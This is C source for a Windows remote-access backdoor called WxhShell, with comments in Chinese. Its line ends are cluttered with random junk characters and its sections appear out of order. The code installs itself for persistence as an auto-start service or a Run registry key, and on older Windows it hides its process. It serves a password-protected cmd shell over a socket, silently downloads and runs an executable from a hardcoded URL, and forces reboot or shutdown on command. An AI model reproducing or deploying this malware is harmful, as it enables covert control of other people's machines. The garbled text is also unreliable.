    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3!KEk?I]  
    else { FPXB>D'  
    closesocket(wsh);  ,L7:3W  
    ExitThread(0); _^u^@.Q'i<  
    } ZuQ\Pyx  
    break; m^ [VM&%  
    } /kK:{  
  // 获取shell } {m.\O  
  case 's': { )qV&sru.$  
    CmdShell(wsh); TP&&' 4?D1  
    closesocket(wsh); \{M/Do:  
    ExitThread(0); &IgH]?t  
    break; gpzZs<ST  
  } t:.ZvA3  
  // 退出 - -H%FYF`  
  case 'x': { }=JuC+#~n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K yFR;.F-  
    CloseIt(wsh); Y!L<& sl   
    break; R?GF,s<j  
    } #^&.*' z%z  
  // 离开 "f<+~  
  case 'q': { |F^h >^ x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?e+$?8l[3  
    closesocket(wsh); Sk&l8"  
    WSACleanup(); I &I q  
    exit(1); 1*J#:|({(  
    break; U/I+A|S[  
        } O/2Jz  
  } G@;I^_gN  
  } f'3sT(1&  
Ai lfeHG  
  // 提示信息 `T;Y%"X!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); esVZ2_eL  
} 9F"Q2^l'  
  } N`%f+eT(  
@ag*zl  
  return; Pb-Ft =  
} J=qPc}+  
nzK"eNDN.  
// shell模块句柄 PC}m.tE  
int CmdShell(SOCKET sock) wam- =3W  
{ HfgK0wIi  
STARTUPINFO si; &,B91H*#  
ZeroMemory(&si,sizeof(si)); _z3YB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^  M4-O~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N>}2&'I  
PROCESS_INFORMATION ProcessInfo; qxe%RYdA'j  
char cmdline[]="cmd"; kGX;x}q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hMiuv_EO!  
  return 0; 3qc o2{nz  
} SZ m)`r\A  
pD>^Dfd  
// 自身启动模式 z.7'yJIP#  
int StartFromService(void) rX<gcntv  
{ Qe )#'$T  
typedef struct _("&jfn  
{ sR1 &2hB  
  DWORD ExitStatus; `b{.K,  
  DWORD PebBaseAddress; HKdR?HM1  
  DWORD AffinityMask; Kc:} Ky  
  DWORD BasePriority; S3k>34_%9  
  ULONG UniqueProcessId; f1RfNiW.  
  ULONG InheritedFromUniqueProcessId; > WW5A py[  
}   PROCESS_BASIC_INFORMATION; #`0iN+qh  
-)Y?1w  
PROCNTQSIP NtQueryInformationProcess; : a4FO  
>5jHgs#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Tf R].  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j;k(AM<  
XTZI !  
  HANDLE             hProcess; Ht'jm(  
  PROCESS_BASIC_INFORMATION pbi; YTco;5/  
;')T}wuq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fV;&)7d&  
  if(NULL == hInst ) return 0; [i'\d}  
UI4Xv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lz VvUVk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %-4e8d74/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +(3PY  e\  
z^f-MgWG  
  if (!NtQueryInformationProcess) return 0; 8bX\^&N  
a`w)awb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w^*jhvV%kW  
  if(!hProcess) return 0; pr-{/6j6  
6wWA(![w"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1?(mE7H#  
e;=G|E  
  CloseHandle(hProcess); b* 6c.  
, "zS  pN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R $cO`L*s  
if(hProcess==NULL) return 0; Pc]c8~  
w?AE8n$8  
HMODULE hMod; Oz9k.[j(  
char procName[255]; ubhem(p#  
unsigned long cbNeeded; b>%I=H%g  
q\[31$i$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &-+&`h|s  
)^!-Aj\x  
  CloseHandle(hProcess); %a/O7s6  
'q[V*4g  
if(strstr(procName,"services")) return 1; // 以服务启动 8IC((  
_<.R\rX&  
  return 0; // 注册表启动 k#%19B  
} ej<z]{`05  
d1j v>tu  
// 主模块 }7$\F!R  
int StartWxhshell(LPSTR lpCmdLine) AmSJ!mTd8o  
{ $zCUQthL@  
  SOCKET wsl; hJ:Hv.{`)W  
BOOL val=TRUE; oRu S_X  
  int port=0; j7-#">YL  
  struct sockaddr_in door; v%aD:%wlY@  
]Ly)%a32  
  if(wscfg.ws_autoins) Install(); WaMn[/{  
ijhMJ?3  
port=atoi(lpCmdLine); /gFyow1W  
z|P& 8#txM  
if(port<=0) port=wscfg.ws_port; Q)a*bPz  
k5xirB_  
  WSADATA data; v!`M=0k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jv0e&rt  
m@c2'*&Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tOko %vY8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V,M8RYOnC!  
  door.sin_family = AF_INET; j#p3c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I3s}t$`y(  
  door.sin_port = htons(port); @pko zE-  
n(o Jb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <I|ryPU9{X  
closesocket(wsl); x@k9]6/zs  
return 1; 2=3iA09px  
} Yp ? 2<  
@/7Rp8Fr  
  if(listen(wsl,2) == INVALID_SOCKET) { sU}e78mh  
closesocket(wsl); vOP[ND=T  
return 1; R\+$^G}#6  
} |]]fcJOBP  
  Wxhshell(wsl); X>wQYIi  
  WSACleanup(); a,tP.Xsl  
(Pu*[STTT  
return 0; ):[[Ch_  
da<1,hF  
} 0CN .gu  
`H|g~7KD&  
// 以NT服务方式启动 p{U8z\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G37_ `C  
{ {"y 6l  
DWORD   status = 0; }gn0bCJy  
  DWORD   specificError = 0xfffffff; k4l72 'P  
x-W0 h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l:[=M:#p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [lJ[kr*7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m8f_w  
  serviceStatus.dwWin32ExitCode     = 0; 4@Qq5kpk*  
  serviceStatus.dwServiceSpecificExitCode = 0; Ar$LA"vu4  
  serviceStatus.dwCheckPoint       = 0; 1GNA x\(  
  serviceStatus.dwWaitHint       = 0; l;C_A;y\  
](ninSX1w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lDA%M3(p  
  if (hServiceStatusHandle==0) return; c*W$wr  
v ;A  
status = GetLastError(); bd9c/>&  
  if (status!=NO_ERROR) R3<+z  
{ +l#2u#e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JSL 3.J  
    serviceStatus.dwCheckPoint       = 0; ^m7PXY  
    serviceStatus.dwWaitHint       = 0; -_}EQ9Q  
    serviceStatus.dwWin32ExitCode     = status; R}]FIu  
    serviceStatus.dwServiceSpecificExitCode = specificError; +1y#=iM{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l%IOdco#  
    return; v$cD!`+k  
  } Em 7q@  
4>W`XH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4j*}|@x  
  serviceStatus.dwCheckPoint       = 0; 7MfT~v  
  serviceStatus.dwWaitHint       = 0; cQR1v-Xt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3,[2-obmi  
} }B5I#Af7  
x0d+cSw  
// 处理NT服务事件,比如:启动、停止 i~;8'>:|,M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S;NXOsSu  
{ 2*|]#W  
switch(fdwControl) "OPUGwf  
{ (g Z!o_  
case SERVICE_CONTROL_STOP: VtO+=mZV  
  serviceStatus.dwWin32ExitCode = 0; a:fHTU=\p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S|[UEU3FpB  
  serviceStatus.dwCheckPoint   = 0; --9mTqx  
  serviceStatus.dwWaitHint     = 0; VC.?]'OqD  
  { 9ZBF1sMg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cC4T3]4l'  
  } <%z/6I Af|  
  return; -db+Y:xUZ  
case SERVICE_CONTROL_PAUSE: BUb(BzC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zCHr  
  break; _a&|,ajy >  
case SERVICE_CONTROL_CONTINUE: AVp [gr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $c}0L0  
  break; /Uc*7Y5j  
case SERVICE_CONTROL_INTERROGATE: }]I?vyQ#V  
  break; L,6Y=?  
}; {#,FlR2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K>[H@|k\k  
} Bu1z$#AC  
~S3eatM$9  
// 标准应用程序主函数 i7rq;t<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -e~U u  
{ ju]]|  
D@^ZpN8r  
// 获取操作系统版本 9HX+sB M  
OsIsNt=GetOsVer(); ;X(n3F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GcR`{ 3hO  
.jp]S4~  
  // 从命令行安装 0Mg8{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8-:k@W  
PoJ$%_a}  
  // 下载执行文件 CeTr%j  
if(wscfg.ws_downexe) { <+gl"lG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KIo}Gd&  
  WinExec(wscfg.ws_filenam,SW_HIDE); KeB4Pae|V  
} `?JgHk  
sw|:Z(`  
if(!OsIsNt) { ?Z>.G{Wm@  
// 如果时win9x,隐藏进程并且设置为注册表启动 cO,V8#H  
HideProc(); R`2A-c  
StartWxhshell(lpCmdLine); Z~c'h  
} s.`d<(X?  
else Y/H^*1  
  if(StartFromService()) 6;cY!  
  // 以服务方式启动 aMQjoamz  
  StartServiceCtrlDispatcher(DispatchTable); P/Kit?kngS  
else T-C#xmY(  
  // 普通方式启动 jJ!-hg4?]  
  StartWxhshell(lpCmdLine); S2E HmE&  
{~fCqP.2  
return 0; GQ2PmnV +  
} -fJ@R1]  
]TgP!M&q  
!y-2#  
RX5.bVp eE  
=========================================== {|Ki^8h/p  
H'{?aaK|t  
$-Pqs ^g  
rAWl0y_m  
tRnW%F5  
>:E* 7  
" t-i6FS-  
.^lb LN^2  
#include <stdio.h> pP* ~ =?  
#include <string.h> l(#ke  
#include <windows.h> }{xN`pZ  
#include <winsock2.h> oL Vtu5  
#include <winsvc.h> [W$Z60?RR  
#include <urlmon.h> ncattp   
^2^|AXNES  
#pragma comment (lib, "Ws2_32.lib") ouVjZF@kS  
#pragma comment (lib, "urlmon.lib") a4( ?]ND~6  
z8/xGQn  
#define MAX_USER   100 // 最大客户端连接数 O R<"LTCL  
#define BUF_SOCK   200 // sock buffer nS+FX& _  
#define KEY_BUFF   255 // 输入 buffer D!}K)T1~R  
t {SMSp  
#define REBOOT     0   // 重启 /3Nb  
#define SHUTDOWN   1   // 关机 a3UPbl3^  
N3gNOq&  
#define DEF_PORT   5000 // 监听端口 AB"1(PbG  
p x|>v8  
#define REG_LEN     16   // 注册表键长度 LR3`=Z9  
#define SVC_LEN     80   // NT服务名长度 /*AJr  
wfDp,T3w7  
// 从dll定义API dGsS<@G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r|^lt7\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?Z Rkn+;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H+VO.s.a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LiZdRr  
],\sRQbv&  
// wxhshell配置信息 lMBX!9z  
struct WSCFG { 3zB|!p C6s  
  int ws_port;         // 监听端口 {b'}:aMc  
  char ws_passstr[REG_LEN]; // 口令 *O+R|Cdp/  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;h9-}F  
  char ws_regname[REG_LEN]; // 注册表键名 rToaGQh  
  char ws_svcname[REG_LEN]; // 服务名 @%OPy|=,{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +_ *eu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WVS$O99Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SqXy;S@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &@YFje6Lcm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D[89*@v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V(;55ycr  
{gFAvMj #  
}; 7q%|4Z-~  
j-J(C[[9  
// default Wxhshell configuration R2}kz.  
struct WSCFG wscfg={DEF_PORT, L#`2.nU  
    "xuhuanlingzhe", ]?0{(\  
    1, D:wnO|:  
    "Wxhshell", 9ZDVy7m\i-  
    "Wxhshell", 7_9+=. +X5  
            "WxhShell Service", i`[#W(m  
    "Wrsky Windows CmdShell Service", N;-/wip  
    "Please Input Your Password: ", LH=d[3Y  
  1, k"">2#V  
  "http://www.wrsky.com/wxhshell.exe", (M ]XNn  
  "Wxhshell.exe" ^Xs%.`Gv/  
    }; 2E$^_YT C  
x3Nkp4=Xd  
// 消息定义模块 fL!V$]HNt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q*\NRq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gjW\ XY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oW0gU?Rr)u  
char *msg_ws_ext="\n\rExit."; {7vgHutp  
char *msg_ws_end="\n\rQuit."; i=oTg  
char *msg_ws_boot="\n\rReboot..."; m_a^RB(  
char *msg_ws_poff="\n\rShutdown..."; i<%m Iq1L  
char *msg_ws_down="\n\rSave to "; :qxm !P  
D=$4/D:;  
char *msg_ws_err="\n\rErr!"; (tepmcf  
char *msg_ws_ok="\n\rOK!"; oP/>ju  
4~!Eje!  
char ExeFile[MAX_PATH]; 8tU>DJ}0  
int nUser = 0; YWEYHr;%^?  
HANDLE handles[MAX_USER]; i8K_vo2Z)  
int OsIsNt; F8;mYuA  
G.E[6G3  
SERVICE_STATUS       serviceStatus; ;;:">@5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z. 'Fv7  
elu=9d];@  
// 函数声明 0!pJ5q ,A  
int Install(void); KYp[Gs  
int Uninstall(void); Uo~T'mA"  
int DownloadFile(char *sURL, SOCKET wsh); 4sTMgBzw  
int Boot(int flag); lr,q{;  
void HideProc(void); PSPTL3_~  
int GetOsVer(void); kVd5,Qd  
int Wxhshell(SOCKET wsl); x|8^i6xB  
void TalkWithClient(void *cs); GMl"{ Oxo&  
int CmdShell(SOCKET sock); g0PT8]8  
int StartFromService(void); ;`DD}j`  
int StartWxhshell(LPSTR lpCmdLine); qe<Hfp/p  
C8ZL*9U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5$kdgFq(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S<"oUdkz  
oe9lF*$/  
// 数据结构和表定义 Vz{>cSz#  
SERVICE_TABLE_ENTRY DispatchTable[] = V43TO  
{ *7ZtNo[+  
{wscfg.ws_svcname, NTServiceMain}, YScvyh?E  
{NULL, NULL} w9MoT.kI}  
}; PQ$sOK|/  
)n>+m|IqY(  
// 自我安装 /& r|ec5  
int Install(void) 4ZwKpQ6  
{ h$`#YNd'  
  char svExeFile[MAX_PATH]; Huc|6~X  
  HKEY key; $#e1SS32  
  strcpy(svExeFile,ExeFile); -U >y   
-}P7$|O &  
// 如果是win9x系统,修改注册表设为自启动 Q,gLi\siI  
if(!OsIsNt) { s3:9$.tiR[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y\D=Z N@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FQk!d$BG  
  RegCloseKey(key); [*Uu#9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QTH7grB2v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B2Z_]q$n*  
  RegCloseKey(key); tlQC6Fb#  
  return 0; -R b{^/  
    } wP<07t[-g  
  } 9%tobo@J~n  
} ?IF)+]  
else { [ *>AN7W   
wMWW=$h#\  
// 如果是NT以上系统,安装为系统服务 qtMD CXZ^n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Ms[eB  
if (schSCManager!=0) n<7u>;SJQ  
{ |gx ~ gG<  
  SC_HANDLE schService = CreateService [M%._u,  
  ( x#*QfE/E(@  
  schSCManager, [{ ~TcT  
  wscfg.ws_svcname, =0    
  wscfg.ws_svcdisp, CU)|-*uiK  
  SERVICE_ALL_ACCESS, +&i +Mpb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u0Nm.--;_3  
  SERVICE_AUTO_START, wW>fVP r  
  SERVICE_ERROR_NORMAL, /.z;\=;[n!  
  svExeFile, SF[FmN!^^  
  NULL, Qk1xUE  
  NULL, XYr J/!*.  
  NULL, <RNJ>>0  
  NULL, _O"mfXl6  
  NULL `bjizS'^  
  ); bm% $86  
  if (schService!=0) N!2Rl  
  { %9oYw9 H!  
  CloseServiceHandle(schService); |r%D\EB  
  CloseServiceHandle(schSCManager); YXo|~p;=Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9f+>ix,ek*  
  strcat(svExeFile,wscfg.ws_svcname); =#gEB#$x:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q'O[R+YT ,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hvka{LD  
  RegCloseKey(key); n\z,/'d"  
  return 0;  rl2&^N  
    } r.ZF_^y}+  
  } y: m_tv0~0  
  CloseServiceHandle(schSCManager); xg_D f,  
} Y5ZZ3Ati  
} 03E4cYxt5  
/,=@8k!t?  
return 1; #n0Y6Pr  
} G6@M&u5RT  
,JU@|`  
// 自我卸载 %\|'%/"`2(  
int Uninstall(void) r$Co0!.  
{ ';Zi@f"  
  HKEY key; \.YS%"Vz  
1$qh`<\  
if(!OsIsNt) { a<}#HfC;'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o*U]v   
  RegDeleteValue(key,wscfg.ws_regname); )q7UxzE+  
  RegCloseKey(key); ./Q,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <\kr1qH H  
  RegDeleteValue(key,wscfg.ws_regname); J Ro?s~Ih  
  RegCloseKey(key); ^WBuMCe  
  return 0; ;qHOOT  
  } >D201&*G%  
} r{l(O,|e  
} y6]vl=^L  
else { "HE^v_p  
C4TE-OM8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vz6Qxd{m3  
if (schSCManager!=0) ,U(1NK8o  
{ ME'|saP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?QE,;QtpK  
  if (schService!=0) Q0EiEX)  
  { -D6exTxh"  
  if(DeleteService(schService)!=0) { (?nCy HC%g  
  CloseServiceHandle(schService); =s<( P1|"  
  CloseServiceHandle(schSCManager); */|BpakD<  
  return 0; +\v?d&.f0  
  } 3}e%[AKh  
  CloseServiceHandle(schService); As>_J=8} 3  
  } OpHsob~  
  CloseServiceHandle(schSCManager); fW?o@vlO  
} y*X_T,K 8  
} n=[/Z!  
JQ"U4GVp  
return 1; BCA&mi3q  
} hP15qKy  
1dK*y'rx  
// 从指定url下载文件 wiiCd  
int DownloadFile(char *sURL, SOCKET wsh) D-c`FG'  
{ jYKor7KTqT  
  HRESULT hr; Qjb:WC7he  
char seps[]= "/"; Hro-d 1J7  
char *token; -,U3fts  
char *file; <)3u6Vky9  
char myURL[MAX_PATH]; EVGt 5z  
char myFILE[MAX_PATH]; d@qsdYu-*  
^jx7@LgS=  
strcpy(myURL,sURL); &G-!qxe  
  token=strtok(myURL,seps); ' ET~  
  while(token!=NULL) 62zYRs\Y)X  
  { .hifsB~  
    file=token; dUhY\v oQ  
  token=strtok(NULL,seps); qw^uPs7Uw  
  } (=om,g}  
h 5^Z2:#  
GetCurrentDirectory(MAX_PATH,myFILE); U[ 0=L`0e  
strcat(myFILE, "\\"); P(f0R8BE  
strcat(myFILE, file); V{!J-nO  
  send(wsh,myFILE,strlen(myFILE),0); xsD($_  
send(wsh,"...",3,0); `9BROZnq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tIuCct-  
  if(hr==S_OK) ()6wvu}  
return 0; }F#okU  
else 0E3[N:s  
return 1; 7Mg=b%IYs  
;;#qmGoE  
} q-}Fvel u  
T[g[&K1Y  
// 系统电源模块 .N ,3 od@  
int Boot(int flag) )mF5Vw"  
{  PoxK{Y  
  HANDLE hToken; \nPEyw,U  
  TOKEN_PRIVILEGES tkp; X\bOz[\  
hHV";bk  
  if(OsIsNt) { n $$SNWgM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %H]ptH5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tFp Ygff<  
    tkp.PrivilegeCount = 1; X:vghOt?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JvVWG'Z"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hoK>~:;  
if(flag==REBOOT) { &m-PC(W+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xc=b |:A  
  return 0; _({hc+9p  
} /`wvxKX  
else { t/VD31  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TFlet"ge=  
  return 0; y1dDO2mA  
} (|klSz_4LM  
  } <G|(|E1  
  else { /|C*  
if(flag==REBOOT) { (nf~x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tX_R_]v3  
  return 0; TQpfQ  
} ~*z% e*EL  
else { _Kl_61k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gG<~-8uQ  
  return 0; Yc_8r+;(  
} cW@Zd5&0S  
} -GhP9; d  
v+46 QK|I&  
return 1; &Sw%<N*r  
} B-ngn{Yc   
k/#&qC>]  
// win9x进程隐藏模块 dCi?SIN  
void HideProc(void) "p_J8  
{ oHd FMD@  
&"f";  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BTGv N %  
  if ( hKernel != NULL ) FGigbtj`  
  { )h"<\%LU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uki#/GzaO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $HHs^tW  
    FreeLibrary(hKernel); -JMdE_h  
  } QM5R`i{r  
YVQN&|-  
return; t<#mP@Mz=N  
} KHe=O1 %QO  
tItX y  
// 获取操作系统版本 `q}I"iS  
int GetOsVer(void) $$|rrG  
{ {MtpkUN  
  OSVERSIONINFO winfo; ~ {E'@MU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $?Yry. 2  
  GetVersionEx(&winfo); h`KFL/fT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bLlKe50  
  return 1; HePUWL'  
  else 2D75:@JL}|  
  return 0; c`J.Tm[_u  
} d4u})  
qaiNz S@q  
// 客户端句柄模块 Yw4n-0g  
int Wxhshell(SOCKET wsl) kpJ@M%46  
{ QS%%^+E2  
  SOCKET wsh; %`>nS@1zp  
  struct sockaddr_in client; R<\F:9  
  DWORD myID; >zw.GwN|  
K(q+ "  
  while(nUser<MAX_USER) @Z*W  
{ +c(zo4nZ  
  int nSize=sizeof(client); a|%J=k>>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /qMG=Z  
  if(wsh==INVALID_SOCKET) return 1; l1T m`7}  
ozmrw\_}[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?u{~>  
if(handles[nUser]==0) *@Lp`thq  
  closesocket(wsh); "S8uoSF`>  
else Z>QF#."m  
  nUser++; 3kw,(-'1  
  } [b 6R%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;XF:\<+  
5Sm}n H  
  return 0; o C<.=2]  
} `b Fff %_  
BzkooJ  
// 关闭 socket }=%oX}[  
void CloseIt(SOCKET wsh) 1,6}_MA  
{ ~D<IB#C  
closesocket(wsh); "3Uv]F  
nUser--; 1Yq?X:  
ExitThread(0); (zgW%{V@  
} -wp|RD,}(  
\#f <!R4  
// 客户端请求句柄 tXoWwQD;Y  
void TalkWithClient(void *cs) kO,zZF&  
{ u$>4F|=T  
q"%_tS  
  SOCKET wsh=(SOCKET)cs; qs1 ?IYD  
  char pwd[SVC_LEN]; v'U{/ ,x  
  char cmd[KEY_BUFF]; ~ DBcIy?  
char chr[1]; Q9~*<I> h;  
int i,j; xAK6pDp  
R@/"B8H  
  while (nUser < MAX_USER) { a2dnbfSWa[  
*C5R}9O5  
if(wscfg.ws_passstr) { :# .<[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,VCyG:dw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tasIDoo+!J  
  //ZeroMemory(pwd,KEY_BUFF); ?\vh9  
      i=0; {{B%f.   
  while(i<SVC_LEN) { 7Nk!1s :  
01}C^iD  
  // 设置超时 :ctu5{"UJ  
  fd_set FdRead; v16 JgycM  
  struct timeval TimeOut; fuWO*  
  FD_ZERO(&FdRead); i&5XF  
  FD_SET(wsh,&FdRead); xCg52zkH#  
  TimeOut.tv_sec=8; 55tKTpV  
  TimeOut.tv_usec=0; d/ARm-D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2>cGH7EBD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M[mF8Zf  
Jll-`b 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J&M o%"[)  
  pwd=chr[0]; "Q!(52_@J  
  if(chr[0]==0xd || chr[0]==0xa) { lBK}VU^  
  pwd=0; '^No)n\`  
  break; ?)kGA$m#  
  } |.F$G<  
  i++; ^su<uG<R  
    } Jth[DUH8H  
}q $5ig  
  // 如果是非法用户,关闭 socket ToJ$A`_!`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E7.2T^o;M  
} P!H_1RwXKC  
[<%H>S1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G&i!Hs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lr`&mZ( j  
}|g\ 8jq  
while(1) { np8gKV D  
E^.nc~  
  ZeroMemory(cmd,KEY_BUFF); |G?htZF  
U%<koD[,  
      // 自动支持客户端 telnet标准   t=Xv;=daB  
  j=0; do*EKo  
  while(j<KEY_BUFF) { <kGU,@6PF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L1cI`9  
  cmd[j]=chr[0]; =p*]Az  
  if(chr[0]==0xa || chr[0]==0xd) { | N[<x@  
  cmd[j]=0; BI3@|,._N  
  break; lu<xv  
  } Nv(9N-9r  
  j++; 7]blrN]  
    } {ys=Ndo8  
]j`c]2EuP  
  // 下载文件 f"%{%M$K  
  if(strstr(cmd,"http://")) { -_1>C\h"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qU#1i:(F*  
  if(DownloadFile(cmd,wsh)) E`?3PA8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]AC*2(  
  else G LIi6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P_*" dza  
  } z^#;~I @M  
  else { 4nh>'v%pD  
X]wRwG  
    switch(cmd[0]) { *Zt#U#  
  ;\14b?TUH  
  // 帮助 nV-mPyfL8  
  case '?': {  ?zw|kl  
